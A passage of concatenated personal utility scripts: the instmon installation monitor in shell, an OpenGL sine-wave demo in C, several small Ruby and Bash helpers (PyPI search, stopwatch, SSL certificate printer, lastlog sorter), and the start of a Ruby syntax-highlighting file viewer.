(<EMAIL>) # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # gets the arguments from the command line parse_cmd_line() { while [ $# -gt 0 ] do case "$1" in -g|--logdir) logdir="$2" shift ;; -b|--libdir) libdir="$2" shift ;; -q|--quiet) quiet=yes ;; -v|--verbose) quiet=no ;; -f|--find) method=find ;; -t|--trace) method=trace ;; -w|--watch) method=watch ;; -i|--include) search="$search $2" shift ;; -x|--exclude) exclude="$exclude $2" shift ;; -s|--search) search="$2" shift ;; -y|--fstype) fstype="$fstype $2" shift ;; -c|--command) command="$2" shift ;; --rename-log) actions="$actions 0rename" newname="$2" shift ;; --log-path) actions="$actions 1logpath" ;; -l|--list) actions="$actions 2list" ;; --diff) actions="$actions 3diff" ;; --tar) actions="$actions 4tar" ;; --deb) actions="$actions 5deb" ;; --rpm) actions="$actions 6rpm" ;; --cleanup) actions="$actions 7cleanup" ;; --remove-files) actions="$actions 8remfiles" ;; --remove-log) actions="$actions 9remlog" ;; --omit-dirs) listdirs=omit ;; --expand-dirs) listdirs=expand ;; -L|--list-logs) [ -z "$special" ] && special=listlogs ;; -h|--help) [ -z "$special" ] && special=help ;; -V|--version) [ -z "$special" ] && special=version ;; -*) printf "instmon: %s: Unknown option\n" "$1" 1>&2 exit 1 ;; *) if [ -z "$package" ] then package="$1" else printf "instmon: %s: Only one package should be specified\n" "$1" 1>&2 exit 1 fi ;; esac shift done [ -z "$package" ] && package=$(basename $(pwd)) } # clean up $search/$exclude a bit search_exclude_normalize() { search=$(printf "%s " "$search" | tr -s " /" | sed "s/\([^ ]\)\/\( \|\$\)/\1\2/g") exclude=$(printf "%s " "$exclude" | tr -s " /" | sed "s/\([^ ]\)\/\( \|\$\)/\1\2/g") for path in $search do if printf "%s\n" "$exclude" | egrep -q "(^| )$path( |$)" then search=$(printf "%s" "$search" | sed "s%\(^\| \)$path\( \|\$\)%\1%") exclude=$(printf "%s" "$exclude" | sed "s%\(^\| \)$path\( \|\$\)%\1%") fi done search=$(printf "%s" "$search" | sed "s/ \+\$//") exclude=$(printf "%s" "$exclude" | sed "s/ \+\$//") [ -z "$search" ] && search="/" } # prepares the command line of find setup_find_args() { actionargs="-cnewer $TMPDIR/instmon.time.$$ -print" excludeargs="" if [ -n "$fstype" ] then for type in $fstype do excludeargs="$excludeargs -not -fstype $type" done excludeargs="$excludeargs -prune -o" fi for path in $exclude do excludeargs="$excludeargs -path $path -prune -o" done } # records the current time (as the timestamp of a file) record() { printf "instmon: Recording timestamp ...\n" 1>&3 : > $TMPDIR/instmon.time.$$ sleep 1 } # detects the changes made to the file system since the recorded time compare() { printf "instmon: Detecting changes ...\n" 1>&3 rm -f $TMPDIR/instmon.files.$$ : > $TMPDIR/instmon.files.$$ for path in $search do find $path -path $path \( $actionargs , -true \) -o $excludeargs $actionargs >> $TMPDIR/instmon.files.$$ 2> /dev/null done } # tidies $TMPDIR and places the log in $logdir if possible cleanup() { rm -f $TMPDIR/instmon.time.$$ rm -f $TMPDIR/instlog.$package sort -u $TMPDIR/instmon.files.$$ > $TMPDIR/instlog.$package rm -f $TMPDIR/instmon.files.$$ mv -f $TMPDIR/instlog.$package $logdir 2> /dev/null } # implements the `find' method do_find() { # A call to record() should be here, but it's not $command setup_find_args compare cleanup } # implements the `trace' method do_trace() { exclude_regexp="^("$(printf "%s" "$exclude" | sed "s/ /\|/g")")(/|\$)" rm -f $TMPDIR/instmon.trace.$$ strace -q -f -o $TMPDIR/instmon.trace.$$ -e signal=none \ -e trace=open,creat,link,symlink,unlink,mkdir,chdir,rmdir,rename,mknod,chown,chmod,truncate,utime,fork \ $command rm -f $TMPDIR/instlog.$package awk -f $libdir/strace.awk $(pwd) $TMPDIR/instmon.trace.$$ | egrep -v "$exclude_regexp" | sort > $TMPDIR/instlog.$package rm -f $TMPDIR/instmon.trace.$$ mv -f $TMPDIR/instlog.$package $logdir 2> /dev/null } # implements the `watch' method do_watch() { exclude_regexp="^("$(printf "%s" "$exclude" | sed "s/ /\|/g")")(/|\$)" rm -f $TMPDIR/instmon.watch.$$ installwatch -o $TMPDIR/instmon.watch.$$ $command rm -f $TMPDIR/instlog.$package awk -f $libdir/iwatch.awk $TMPDIR/instmon.watch.$$ | egrep -v "$exclude_regexp" | sort > $TMPDIR/instlog.$package rm -f $TMPDIR/instmon.watch.$$ mv -f $TMPDIR/instlog.$package $logdir 2> /dev/null } # prints a log file without the contained directories omit_directories() { while read fname do [ -d "$fname" ] || printf "%s\n" "$fname" done } # prints a log file with the directories expanded up to / expand_directories() { printf "/\n" filelist=$(cat) dirlist="$filelist" while [ "$dirlist" != "" ] do dirlist=$(printf "%s" "$dirlist" | sed "s/\/[^/]*\$//" | sort -u) filelist=$(printf "%s\n%s" "$filelist" "$dirlist") done printf "\n%s\n" "$filelist" | sort -u | sed 1d } # seperates the name and the version of the package name_version_splitup() { # I had to use an external file because read-ing from a pipe is broken rm -f $TMPDIR/instmon.split.$$ printf "%s\n" "$package" | sed "s/-\([0-9]\)/ \1/" > $TMPDIR/instmon.split.$$ read pkg_name pkg_ver < $TMPDIR/instmon.split.$$ rm -f $TMPDIR/instmon.split.$$ } # prints all the versions of a package, sorted by version package_versions_sorted() { ls $logdir/instlog.$pkg_name-[0-9]* 2> /dev/null | sed "s%$logdir/instlog.$pkg_name-%%" | awk -f $libdir/versort.awk | sed "s/^/$pkg_name-/" } # prints out the last element of a list choose_last() { [ $# -ne 0 ] && eval printf \"%s\" \"\$\{$#\}\" } # detects the package, even if only its name has been specified find_package() { [ -f $logdir/instlog.$package ] && return 0 name_version_splitup [ -n "$pkg_ver" ] && return 1 last=$(choose_last $(package_versions_sorted)) [ -z "$last" ] && return 1 package="$last" return 0 } # compares different versions of a package diff_versions() { prev="" rm -f $TMPDIR/instmon.files.$$ : > $TMPDIR/instmon.files.$$ for pkg in $(package_versions_sorted) do if [ -z "$prev" ] then printf " %s:\n" "$pkg" expand_directories < $logdir/instlog.$pkg else printf "\n %s -> %s:\n" "$prev" "$pkg" expand_directories < $logdir/instlog.$prev > $TMPDIR/instmon.files.$$ expand_directories < $logdir/instlog.$pkg | diff -u0 $TMPDIR/instmon.files.$$ - | egrep "^[-+]/" fi prev="$pkg" done rm -f $TMPDIR/instmon.files.$$ } # the main function of log manipulation mode perform_actions() { while [ $# -gt 0 ] do case "$1" in 0rename) printf "instmon: Renaming log to %s ...\n" "$newname" 1>&3 mv -f "$logdir/instlog.$package" "$logdir/instlog.$newname" package="$newname" ;; 1logpath) printf "instmon: Printing the full path of the log ...\n" 1>&3 printf "%s/instlog.%s\n" "$logdir" "$package" ;; 2list) printf "instmon: Listing log ...\n" 1>&3 case "$listdirs" in omit) cat $logdir/instlog.$package | omit_directories ;; expand) cat $logdir/instlog.$package | expand_directories ;; *) cat $logdir/instlog.$package ;; esac ;; 3diff) printf "instmon: Comparing all versions of the package ...\n" 1>&3 name_version_splitup diff_versions ;; 4tar) printf "instmon: Creating tar archive in $TMPDIR ...\n" 1>&3 tar -cf $TMPDIR/$package.tar $(omit_directories < $logdir/instlog.$package) 2> /dev/null ;; 5deb) printf "instmon: Creating deb package in $TMPDIR ...\n" 1>&3 rm -rf $TMPDIR/instmon.debian.$$ mkdir $TMPDIR/instmon.debian.$$ mkdir $TMPDIR/instmon.debian.$$/DEBIAN name_version_splitup [ -z "$pkg_ver" ] && pkg_ver=0 exec 5> $TMPDIR/instmon.debian.$$/DEBIAN/control printf "Package: %s\nVersion: %s\n" "$pkg_name" "$pkg_ver" 1>&5 printf "Architecture: %s\n" $(dpkg --print-architecture) 1>&5 printf "Maintainer: Noone.\n" 1>&5 printf "Description: instmon generated package.\n" 1>&5 exec 5>&1 cp -dP $(omit_directories < $logdir/instlog.$package) $TMPDIR/instmon.debian.$$/ dpkg-deb --build $TMPDIR/instmon.debian.$$ $TMPDIR > /dev/null rm -rf $TMPDIR/instmon.debian.$$ ;; 6rpm) printf "instmon: Creating rpm package in $TMPDIR ...\n" 1>&3 rm -f $TMPDIR/instmon.rpmrc.$$ exec 5> $TMPDIR/instmon.rpmrc.$$ printf "rpmdir: $TMPDIR\n" 1>&5 printf "rpmfilename: %%{NAME}-%%{VERSION}-%%{RELEASE}.%%{ARCH}.rpm\n" 1>&5 name_version_splitup [ -z "$pkg_ver" ] && pkg_ver=0 rm -f $TMPDIR/instmon.rpmspec.$$ exec 5> $TMPDIR/instmon.rpmspec.$$ printf "Name: %s\nVersion: %s\n" "$pkg_name" "$pkg_ver" 1>&5 printf "Release: 0\nSummary: instmon generated package.\n" 1>&5 printf "Copyright: (unknown)\nGroup: (unknown)\n" 1>&5 if [ $(choose_last $(printf "2.5.0\n%s\n" $(rpm --version | sed "s/.* //") | awk -f $libdir/versort.awk)) = "2.5.0" ] then printf "Description:\n%%files\n" 1>&5 else printf "%%description\n%%files\n" 1>&5 fi omit_directories < $logdir/instlog.$package 1>&5 exec 5>&1 rpm -bb --quiet --rcfile $TMPDIR/instmon.rpmrc.$$ $TMPDIR/instmon.rpmspec.$$ rm -f $TMPDIR/instmon.rpmrc.$$ rm -f $TMPDIR/instmon.rpmspec.$$ ;; 7cleanup) printf "instmon: Cleaning up previous versions ...\n" 1>&3 name_version_splitup rm -f $TMPDIR/instmon.old.$$ diff_versions | egrep "^-/" | sed "s/^-//" > $TMPDIR/instmon.old.$$ rm -f $(tac $TMPDIR/instmon.old.$$) 2> /dev/null rmdir $(tac $TMPDIR/instmon.old.$$) 2> /dev/null rm -f $TMPDIR/instmon.old.$$ ;; 8remfiles) printf "instmon: Removing files ...\n" 1>&3 rm -f $(omit_directories < $logdir/instlog.$package) 2> /dev/null rmdir $(expand_directories < $logdir/instlog.$package | tac) 2> /dev/null ;; 9remlog) printf "instmon: Removing log ...\n" 1>&3 rm -f $logdir/instlog.$package ;; esac shift done } # displays a help message show_help() { cat <<- EOF usage: instmon [option]... [package] General options: -v, --verbose print informative messages -q, --quiet be quiet, only print error messages -g, --logdir specify the directory where logs are stored -b, --libdir specify where to find instmon's helper scripts Monitoring mode: -f, --find use the \`find' method -t, --trace use the \`trace' method -w, --watch use the \`watch' method -x, --exclude add a directory to the exclusion list -s, --search set the search list equal to a directory -i, --include add a directory to the search list -y, --fstype only search a particular filesystem type -c, --command specify which command to run Log manipulation mode: --rename-log change the name of the log --log-path print the full path name of the log file -l, --list list the contents of the log --diff compare the different versions of the log --tar create a .tar archive --deb create a .deb archive --rpm create an .rpm archive --cleanup remove files from older versions of the log --remove-files remove the files listed inside the log --remove-log remove the log file --omit-dirs skip directories when --listing a log --expand-dirs expand directories up to / when --listing a log Other modes of operation: -L, --list-logs print a listing of all the available logs -h, --help print this help message -V, --version print version information EOF } # main program # trap ^C trap "rm -f /tmp/instmon.*.$$; exit 1" INT # initialize important variables with default values [ -z "$TMPDIR" ] && TMPDIR=/tmp package="" libdir="/usr/scripts/instmon-scripts" logdir="/usr/share/instmon" method="" search="/ /var/lib" exclude="/proc /tmp /var /dev /home /root /usr/src /usr/local/src" fstype="" command="" actions="" listdirs="" quiet="" # Create the logdir if it doesn't exist if [ ! -d "$logdir" ] then mkdir -p "$logdir" fi # read the system wide and user specific configuration files exclude_tmp="$exclude" exclude="" [ -f /etc/instmon.conf ] && . /etc/instmon.conf exclude_tmp="$exclude_tmp $exclude" exclude="" [ -f $HOME/.instmonrc ] && . $HOME/.instmonrc exclude="$exclude_tmp $exclude" parse_cmd_line "$@" search_exclude_normalize if [ -n "$special" ] then case "$special" in listlogs) ls -lg $logdir | awk -f $libdir/listlogs.awk ;; help) show_help ;; version) printf "instmon 2.0, by <NAME> <<EMAIL>>\n" ;; esac exit 0 fi if [ "$quiet" = "yes" ] then exec 3> /dev/null else exec 3>&2 fi if [ -n "$actions" ] then if find_package then printf "instmon: Acting on package %s ...\n" "$package" 1>&3 actions=$(printf "%s " "$actions" | tr " " "\n" | sort -u | tr "\n" " ") perform_actions $actions else printf "instmon: %s: Could not find log file for package\n" "$package" 1>&2 exit 1 fi else if [ -z "$method" ] then type find > /dev/null && method=find type strace > /dev/null && method=trace type installwatch > /dev/null && method=watch fi if printf "%s\n" "$method" | egrep -q "^(find|trace|watch)\$" then printf "instmon: Monitoring package %s ...\n" "$package" 1>&3 # A special case [ "$method" = "find" ] && record if [ -n "$command" ] then printf "instmon: Running \`$command' ...\n" 1>&3 else command="${SHELL:-/bin/sh}" printf "instmon: Spawning $command ...\n" 1>&3 printf "instmon: Perform the installation, then type \`exit' to continue ...\n" 1>&3 fi do_$method else if [ -n "$method" ] then printf "instmon: %s: Unknown monitoring method\n" "$method" 1>&2 else printf "instmon: No monitoring method available\n" 1>&2 fi exit 1 fi fi printf "instmon: Finished.\n" 1>&3 exit 0 <file_sep>// Hello, sinewaves! // by <NAME> // // To compile, run: // gcc hello-sinewaves.c -o hello-sinewaves -lm -lGL -lglut #include <GL/glut.h> #include <math.h> #include <stdio.h> #ifndef M_PI #define M_PI 3.14159265358979323846 /* pi! */ #endif #define WIDTH 640.0 #define HEIGHT 480.0 #define DELAY 10 GLfloat time = 0.0; GLfloat timestep = 0.5; void wave(GLfloat amplitude, GLfloat width, GLfloat offset, GLfloat funk) { GLfloat x, y, z = 1.0; GLfloat f = (M_PI*2)/width; GLfloat a = (HEIGHT/2)*amplitude; GLfloat o = (M_PI*2) * offset/WIDTH; glBegin(GL_LINE_STRIP); // Left segment (flipped horizontally and vertically) for (x = WIDTH/2; x >= 0.0; x -= 2.0) { y = sin(x*f+o)*a*sin(x*M_PI/funk) + HEIGHT/2; glVertex3f(WIDTH/2-x, HEIGHT-y, z); } // Right segment (shifted over by WIDTH/2) for (x = 0.0; x <= WIDTH/2; x += 2.0) { y = sin(x*f+o)*a*sin(x*M_PI/funk) + HEIGHT/2; glVertex3f(x+WIDTH/2, y, z); } glEnd(); } void RenderScene(void) { GLfloat i; glClear(GL_COLOR_BUFFER_BIT); for (i = 0.0; i < 1.0 ; i += 0.1) { glColor3f(i*0.8+0.2, 0.0, 0.5); // amplitude, width, offset, funk! wave((1.0-i)/1.0, 50.0*i, time*5, (i*50000.0)/(200-time)); } glFlush(); glutSwapBuffers(); } // Setup the Rendering Context void SetupRC(void) { glClearColor(0.0f, 0.0f, 0.0f, 1.0f); // glViewport(0, 0, 640, 200); } // Called by GLUT library when the window has chanaged size void ChangeSize(GLsizei w, GLsizei h) { // Prevent a divide by zero if(h == 0) h = 1; // Set Viewport to window dimensions glViewport(0, 0, w, h); // Reset coordinate system glMatrixMode(GL_PROJECTION); glLoadIdentity(); // Establish clipping volume (left, right, bottom, top, near, far) glOrtho (0.0, WIDTH, HEIGHT, 0.0, 1.0, -1.0); glMatrixMode(GL_MODELVIEW); glLoadIdentity(); } void TimerFunction(int value) { time += timestep; glutPostRedisplay(); glutTimerFunc(DELAY, TimerFunction, 1); } int main(int argc, char* argv) { printf("Version: %s\nExtensions: %s\n", glGetString(GL_VERSION), glGetString(GL_EXTENSIONS)); printf("Delay: %d\n", DELAY); glutInit(&argc, &argv); glutInitWindowSize(1280, 400); glutInitDisplayMode(GLUT_DOUBLE | GLUT_RGB); glutCreateWindow("Hello Sine-Waves!"); glutDisplayFunc(RenderScene); glutReshapeFunc(ChangeSize); glutTimerFunc(DELAY, TimerFunction, 1); SetupRC(); glutMainLoop(); } <file_sep>#!/usr/bin/env ruby delim = " " args = ARGV while args.any? arg = args.shift case arg when "--help" puts DATA.read exit 0 when "-d" delim = args.shift else input = open(arg) end end input = $stdin unless input input.each_line do |line| line.split(delim).each { |piece| puts piece } end __END__ purpose: Splits each line into tokens, and prints one token per line. If no file is specified, STDIN is used. usage: split-lines -d <delimiter> [file] <file_sep>#!/usr/bin/env ruby require 'date' `lastlog`. lines. select{|l| not l=~/Never logged in/}. sort_by{|l| DateTime.parse( l.split[3..-1].join(" ") ) rescue DateTime.parse("Jan 1 500 BC") }. each{|s| puts s} <file_sep>#!/usr/bin/env ruby ################################################################### gem 'oga' gem 'epitools' require 'epitools' ################################################################### class String def tighten; gsub(/[\t ]+/,' ').strip; end def any?; not empty?; end def indent(prefix=" ") gsub(/^/m, prefix) end def commatize gsub /(\d)(?=\d{3}+(?:\.|$))(\d{3}\..*)?/, "\\1,\\2" end end class Integer def commatize; to_s.commatize; end end ################################################################### def help! puts "usage:" puts " $ #{$PROGRAM_NAME} <search query>" puts " (searches all packages)" puts puts " #{$PROGRAM_NAME} -i <gem name>" puts " (shows info about a specific package)" puts exit 1 end ################################################################### def search(query) html = curl("https://pypi.org/search/?q=#{query}") doc = Oga.parse_html(html) # <li> # <a class="package-snippet" href="/project/butt/"> # <h3 class="package-snippet__title"> # <span class="package-snippet__name">butt</span> # <span class="package-snippet__version">0.1</span> # <span class="package-snippet__released"><time datetime="2018-08-17T10:14:26+0000" data-controller="localized-time" data-localized-time-relative="true" data-localized-time-show-time="false" title="2018-08-17 06:14:26" aria-label="2018-08-17 06:14:26">Aug 17, 2018</time></span> # </h3> # <p class="package-snippet__description">A command line client for scuttlebutt.</p> # </a> # </li> doc.css("li a.package-snippet").map do |pkg| result = {} result[:url] = File.join("https://pypi.org/", pkg["href"]) %i[name version released created description].each do |field| val = pkg.at_css(".package-snippet__#{field}")&.text&.tighten result[field] = val if val end result end end ################################################################### def print_search_results(query) pkgs = search(query) pkgs.reverse_each do |info| puts ("<8>=== " + "<11>#{info[:name]} " + "<7>(<3>v#{info[:version]}<7>)" + "<8>==============").colorize puts info[:released].indent.white unless info[:released].blank? puts info[:created].indent.white unless info[:created].blank? puts info[:description].indent.bright_white unless info[:description].blank? puts " <3>#{info[:url]}".colorize puts end end ################################################################### # Handle ARGV opts, args = ARGV.partition { |arg| arg[/^-\w/] } if (args.empty? and opts.empty?) or opts.include?("--help") help! exit 1 end if opts.include?("-i") args.each { |arg| print_pkg_info(arg) } else query = args.join("+") puts "<8>* <7>Searching pypi for <14>#{query.inspect}<7>...".colorize print_search_results(query) end <file_sep>#!/bin/bash cat *.jpg | ffmpeg -f image2pipe -vcodec mjpeg -i - -c:v h264 -r 24 output.mp4 <file_sep>#!/usr/bin/env ruby def to_human(t) ms = ((t-t.floor)*10).floor sec = t.floor hour = (sec/3600).floor sec -= hour * 3600 min = (sec/60).floor sec -= min * 60 sprintf "%02d:%02d:%02d.%01d", hour, min, sec, ms end Kernel.trap('INT') { Kernel.exit } start = Time.now loop do elapsed = Time.now - start sleep 0.1 print "\b"*30 print to_human(elapsed) print " "*5 STDOUT.flush end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: worryquotes [options]" # on "a", "along", "desc" # on "b=", "blong", "desc", default: "" end args = ARGV ######################################################## =begin #william-thurston-on-proof-and-progress-in-mathematics.entry{"data-author" => "<NAME>"} .source %a.permalink{:href => "#william-thurston-on-proof-and-progress-in-mathematics"} # %a.author{:href => "?author=William%20Thurston"} <NAME> %a.title{:href => "http://arxiv.org/pdf/math/9404236v1"} : On proof and progres s in mathematics .quote %a{:href => "http://arxiv.org/pdf/math/9404236v1"} %p When a significant theorem is proved, it often (but not always) happens that the solution can be communicated in a matter of minutes from one person to another w ithin the subfield. The same proof would be communicated and generally understood in an hour talk to members of the subfield. It would be the subject of a 15- or 20-page paper, which could be read and understood in a few hours or perhaps days by members o f the subfield. %p Why is there such a big expansion from the informal discussion to the talk t o the paper? One-on-one, people use wide channels of communication that go far beyond formal mathematical language. They use gestures, they draw pictures and diagrams, th ey make sound effects and use body language. Communication is more likely to be two-w ay, so that people can concentrate on what =end class Entry < Struct.new(:author, :title, :url, :quote) def self.from_node(node) author = node.at_css(".author").text a = node.at_css(".title") title = a.text.gsub(/^\s*:/, '').strip rescue nil url = a["href"] rescue nil quote = node.at_css(".quote").css("p").map(&:text).join("\n\n") rescue nil new(author, title, url, quote) end def to_s s = "#{quote}\n" s += " -- #{author}" s += " (#{title})" if title s end end doc = Oga.parse_html(cached_curl("http://worrydream.com/quotes/")) doc.css(".entry").each do |node| entry = Entry.from_node(node) puts entry puts "%" end <file_sep>#!/bin/bash if ! which openssl > /dev/null then echo "'openssl' not found. Install openssl." exit 1 fi if [ "$1" == "" ]; then echo "usage:" echo " ssl-cert-print remote.host.name [port]" echo echo "Note: 'port' defaults to 443" else REMHOST=$1 REMPORT=${2:-443} echo | openssl s_client -showcerts -servername $REMHOST -connect $REMHOST:$REMPORT 2> /dev/null | openssl x509 -text | less fi <file_sep>#!/usr/bin/env ruby ############################################################################## # # StarCat (aka. *cat) -- print every file format, in beautiful ANSI colour! # # Optional dependencies: # # ruby gems: # redcloth (for markdown) # nokogiri (for wikidumps) # rougify (for source code) # # python packages: # pygments (for source code) # rst2ansi (for ReStructured Text (python docs)) # docutils (for other python docs) # # ...and many more! (the script will blow up when you need that package! :D) # # # TODOs: # * MHTML parser # |_ print pretty html/haml and image info (see: mhtmldump) # * Don't blow up when you need a package # |_ helpfully ask if the user wants to install it # * If 'file' isn't installed, fall back to using the file extension, or the mime_magic gem # * Refactor into "filters" (eg: gunzip) and "renderers" (eg: pygmentize) and "identifiers" (eg: ext, shebang, magic) # |_ all methods can take a Pathname or String or Enumerable # |_ keep filtering the file until a renderer can be used on it (some files need to be identified by their data, not their extension) # |_ eg: `def convert({stream,string}, format: ..., filename: ...)` (allows chaining processors, eg: .diff.gz) # * Live filtering (grep within output chunks, but retain headers; retain some context?) # |_ special pager(s)! (moar) # |_ jump between files (ctrl-up/down) # * Follow symbolic links (eg: c libthing.so -> libthing.so.2) # * "--summary" option to only print basic information about each file # * Follow symlinks by default # * "c directory/" should print "=== directory/README.md ========" in the filename which is displayed in multi-file mode # * Print [eof] between files when in multi-file mode # * Make .ANS files work in 'less' (less -S -R, cp437) # * Add gem/program dependencies to functions (using a DSL) # |_ "install all dependencies" can use it # |_ error/warning when dependency isn't installed, plus a fallback codepath # * Fix "magic" (use hex viewer when format isn't recognized) # * Renderers should pick best of coderay/rugmentize/pygmentize/rougify (a priority list for each ext) # ############################################################################## require 'pathname' require 'coderay' require 'coderay_bash' require 'set' ############################################################################## TESTS = {} ############################################################################## def pygmentize(lexer=nil, style="native", formatter="terminal256") #depends bins: "pygments" # Commandline options: https://www.complang.tuwien.ac.at/doc/python-pygments/cmdline.html # Style gallery: https://help.farbox.com/pygments.html # (good ones: monokai, native, emacs) cmd = [ "pygmentize", "-O", "style=#{style}", "-f", formatter, ] cmd += ["-l", lexer] if lexer cmd end def rougify(lexer=nil) # themes: molokai monokai.sublime base16.solarized.dark base16.dark thankful_eyes #depends gem: "rouge" # TODO: fix this `cmd` mess so that the dependency check happens once the filetype has been identified cmd = ["rougify"] cmd += ["-t", "base16.dark"] # cmd += ["-t", "monokai.sublime"] # cmd += ["-t", "molokai"] # cmd += ["-t", "base16.solarized.dark"] cmd += ["-l", lexer.to_s] if lexer cmd end def bat(lexer=nil) cmd = ["bat", "--plain", "--theme", "DarkNeon", "--color", "always"] cmd << "-l#{lexer}" if lexer cmd end def render_rouge(input, lexer=nil, theme="base16.dark") depends gem: "rouge" require 'rouge' if input.is_a?(Pathname) lexer = Rouge::Lexer.guess(filename: input.to_s) # options: filename:, source:, mimetype: source = input.read else lexer = Rouge::Lexer.find(lexer) source = input end return source if lexer.nil? formatter = Rouge::Formatters::Terminal256.new(theme: Rouge::Theme.find(theme)) formatter.format(lexer.lex(source)) end def render_pandoc(input, from=nil, to=nil) depends bin: "pandoc" source = input.to_source cmd = ["pandoc", "-f", from, "-t", to] IO.popen(cmd, "w+") do |io| io.puts source io.close_write io.read end end def which(cmd) ENV['PATH'].split(File::PATH_SEPARATOR).each do |path| exe = File.join(path, cmd) return exe if File.executable? exe end nil end class MissingDependency < Exception; end def depends(bin: nil, bins: [], gem: nil, gems: [], pip: nil, eggs: [], install: nil, pkg: nil) # TODO: install stuff automatically! gems = [gems].flatten bins = [bins].flatten bins << bin if bin gems << gem if gem pip = [pip].flatten.compact pip += eggs.flatten installed_eggs = nil if pip.any? installed_eggs = `python -mpip list --format freeze`.each_line.map { |l| l.split("==").first } puts "WARNING: depends(egg: ...) and depends(pip: ...) slow down load time!" end missing = [ *bins.map { |bin| [:bin, bin] unless which(bin) }, *gems.map do |g| begin gem(g) nil rescue Gem::MissingSpecError => e [:gem, g] end end, *pip.map { |egg| [:egg, egg] if not installed_eggs.include? egg } ].compact if missing.any? msg = "Missing dependenc(y/ies): #{ missing.map{|t,n| "#{n} (#{t})"}.join(", ")}#{" (to install, run #{install.inspect})" if install}" msg += " (it can be found in the #{pkg.inspect} package)" if pkg raise MissingDependency.new(msg) # $stderr.puts msg # exit 1 end end # def bat(lexer=nil) # cmd = ["bat", "--color=always"] # cmd += ["-l", lexer] if lexer # cmd # end ### Special-case Converters ############################################################### EXT_HIGHLIGHTERS = { # sass ".scss" => rougify, # crystal ".cr" => :ruby, # julia ".jl" => :ruby, # perl ".pl" => :ruby, # (c)make ".cmake" => :ruby, ".mk" => :bash, ".Kbuild" => bat(:make), # gn (chromium build thing) ".gn" => :bash, ".gni" => :bash, # xdg ".install" => :bash, ".desktop" => :bash, # configs ".conf" => :bash, ".ini" => :bash, ".prf" => :bash, ".ovpn" => :bash, ".rc" => :c, ".service" => :bash, ".nix" => rougify, # haskell ".hs" => :text, # lisp ".cl" => :c, ".lisp" => :clojure, ".scm" => :clojure, ".rkt" => rougify(:racket), ".scrbl" => rougify(:racket), ".ny" => :clojure, # gl ".shader" => :c, ".glsl" => :c, # rust ".rs" => pygmentize, ".toml" => rougify, # asm ".s" => pygmentize, # assembler # matlab ".m" => pygmentize(:matlab), ".asv" => pygmentize(:matlab), # dart ".dart" => :java, # zig ".zig" => pygmentize(:rust), # pythonic javascript (rapydscript-ng) ".pyj" => :python, # java ".gradle" => :groovy, ".sage" => :python, ".qml" => :php, ".pro" => :sql, ".cxml" => :xml, ".kt" => rougify, ".kts" => rougify, # llvm ".ll" => rougify, # systemtap ".stp" => :javascript, # caml ".ml" => pygmentize, # nim ".nim" => rougify, ".nimble" => rougify(:nim), ".gd" => rougify(:nim), # v ".v" => rougify(:dart), # ada ".ada" => rougify, ".ads" => rougify, ".adb" => rougify, ".gpr" => rougify, ".adc" => rougify(:ada), # factor '.factor' => rougify, # patch ".diff" => rougify, ".patch" => rougify, # sublime ".tmLanguage" => :xml, ".sublime-syntax" => :yaml, # haxe ".hx" => rougify, # misc ".inc" => :c, # weird demo stuff ".rl" => :c, # ragel definitions ".ino" => :c, # arduino sdk files ".f" => pygmentize(:forth), # xml stuff ".ws" => :xml, ".nzb" => :xml, ".owl" => :xml, ".ui" => :xml, ".opml" => :xml, ".dfxp" => :xml, ".xspf" => :xml, ".smil" => :xml, ".xsl" => :xml, ".plist" => :xml, ".svg" => :xml, } FILENAME_HIGHLIGHTERS = { "Rakefile" => :ruby, "Gemfile" => :ruby, "CMakeLists.txt" => :ruby, "Makefile" => :bash, "Dockerfile" => :bash, "Kconfig" => :bash, "Kconfig.name" => :bash, "makefile" => :bash, "PKGBUILD" => :bash, "template" => :bash, "configure.in" => :bash, "configure" => :bash, "Gemfile.lock" => :c, "database.yml" => :yaml, "default.nix" => rougify, } # # All files that ctags can parse # CTAGS_EXTS = if which("ctags") Set.new %w[ .1 .2 .3 .3pm .3stap .4 .5 .6 .7 .7stap .8 .9 .a51 .ac .ada .adb .adoc .ads .am .ant .as .asa .ash .asm .asp .au3 .aug .automount .awk .bas .bash .bat .bb .bet .bi .bsh .c .cbl .cc .cl .clisp .clj .cljc .cljs .cmake .cmd .cob .cp .cpp .cs .css .ctags .cu .cuh .cxx .d .device .di .diff .dtd .dts .dtsi .e .el .elm .erl .ex .exp .exs .f .f03 .f08 .f15 .f77 .f90 .f95 .fal .for .ftd .ftn .fy .gawk .gdb .gdbinit .glade .go .h .hh .hp .hpp .hrl .hx .hxx .in .ini .inko .inl .itcl .java .js .jsx .ksh .l .ld .ldi .lds .lisp .lsp .lua .m .m4 .mak .mawk .mk .ml .mli .mm .mod .mount .mxml .myr .p .p6 .pas .patch .path .pb .perl .ph .php .php3 .php4 .php5 .php7 .phtml .pl .pl6 .plist .plx .pm .pm6 .pod .pom .pp .properties .proto .pxd .pxi .py .pyx .q .r .rb .rc .repo .rest .rexx .rng .robot .rs .rst .ruby .rx .s .sch .scheme .scm .scons .scope .scr .sh .sig .sl .slice .sm .sml .snapshot .socket .spec .spt .sql .stp .stpm .sv .svg .svh .svi .swap .target .tcl .tex .time .tk .ts .ttcn .ttcn3 .unit .v .varlink .vba .vhd .vhdl .vim .vr .vrh .vri .wish .wsgi .y .zep .zsh ] else Set.new end # # # # CTags mapping from all { '.ext' => 'LanguageName' }s # # # CTAGS_EXTS = if which("ctags") # `ctags --list-maps`. # each_line. # flat_map do |line| # lang, *exts = line.strip.split(/\s+/) # exts.map! { |ext| ext[/\.\w+$/]&.downcase }.compact.uniq # exts.map { |ext| [ext, lang] } # end. # to_h # else # {} # end HTML_ENTITIES = { '&lt;' => '<', '&gt;' => '>', '&nbsp;' => ' ', '&ndash;' => '-', '&mdash;' => '-', '&amp;' => '&', '&raquo;' => '>>', '&laquo;' => '<<', '&quot;' => '"', '&micro;' => 'u', '&copy;' => '(c)', '&trade;' => '(tm)', '&reg;' => '(R)', '&#174;' => '(R)', '&#8220;' => '"', '&#8221;' => '"', '&#8211;' => "-", 